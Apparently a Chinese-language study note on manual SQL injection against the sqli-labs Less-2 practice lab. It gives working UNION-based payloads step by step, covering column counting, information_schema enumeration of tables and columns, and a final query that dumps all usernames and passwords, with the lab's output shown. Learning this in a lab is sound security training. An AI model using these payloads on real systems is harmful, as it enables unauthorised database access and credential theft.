SQL注入之手工注入
sqli-labs数字型注入
在url中输入id值,执行查询sql语句。即可得到对应数据
less-2源码分析:
浏览器 进行数据提交 服务器 :
get 提交 : url 数据长度
速度快
用于:
post 提交 : 服务器 安全性 数据量
注入流程
注入语句
尝试手工注入:
SQL注入:
1.判断有无注入点 and 1 = 1; true
随便输入内容 == 报错 注入
== 没有注入
2.猜解列名数量 order by 接上数字
%20是空格
字段 4个报错不存在,证明只有3个字段
3.报错,判断回显点 union 合并查询,前面的查询结果并不影响后面的查询语句,即使前面的查询结果不存在的,也不会影响后面的语句执行。
但是select查询语句的字段数量要和表中的字段数量一致,需要先使用order by判断当前表,有多少个字段
查询id为1的,3个字段对应的数据
id=1 union select 1,2,3
4.信息收集
通过收集上面select查询字段对应的名字得知
得知字段2为 name
得知字段3为 password
数据库版本 version()
可以在select语句中,表中存在的字段数量,任意一个字段替换version函数,查询mysql版本
id=1 union select 1,2,version()
回显3字段为mysql版本号
高版本:5.0
系统库: infromation_schema
数据库名称:database()
低版本:5.0
5.使用对应SQL进行注入
infromation_schema.tables 查找表名
table_name是系统库里的一张表,保存所有数据库的表名
查询serurity库下面 所有的表名
数据库名称函数,可以得知当前库名,需要把其中一个字段数量替换,不能超出该表的字段数量
database()
?id=-1 union select 1,version(),database()
得知数据库库名:security
注意 = 前后不能有空格
group_concat()是分组函数,可以过滤掉不是我们查询的表名字,只显示我们查询的表名字
该表3个字段数量里,其中一个字段数量替换成group_concat函数,从系统库的table表里table_name字段查询当前库的所有表名信息
注意:当前库名字,可以直接填写字符串,也可以转成16进制,建议使用database函数注入
sql解释:查询information_schema的tables表,table_name字段,保存着所有库里面所有表的名字,条件是库名=database()函数,即当前库名;使用group_concat函数,过滤出当前库里的所有表名字。
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
查询结果得知有这些表:name:emails,referers,uagents,users
得知用户表: users
如何查询表里面有那些字段?
information_schema系统库里面的column表
注意:查询表里面的数据,需要转成16进制
已知条件:
库名: security
security所有表:name:emails,referers,uagents,users
从系统库information_schema的column表,column_name字段,保存着所有库里面所有表的字段信息,查询上面sql得知的当前库的users表,里面3个字段的名字信息
sql解释:查询information_schema的column表,条件是表名=users,字段是column_name,过滤出users表里的所有字段信息
users 字符 转成 16进制=7573657273 16进制前面需要加上0x
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
查询结果得知字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
如何查询用户名密码?
sql解释:查询users表里的username,password字段数据
select username,password from users
sql解释:查询嵌套,合并查询当前表的3个字段,(在任意1个字段,再替换成select查询语句,使用分组去重group_concat函数,里面包含username:password字段的数据,以:号为分隔符打印出来,从users表里查询)
0x3a 代表分号的意思 :
?id=-1 union select 1,2,(select group_concat(username,0x3a,password)from users)
前面的第一条查询,id等于多少,就会查出id为多少的用户密码。
如果id为-1 ,则会查出所有用户名和密码
最终结果是:
字段1 是 ID
字段2 是 username
字段3 是 password
所以查询出来的结果是,会在password里,打印出所有用户名和密码,以:号为分隔符
Your Login name:2
Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
所有用户名和密码,通过手工注入完成查询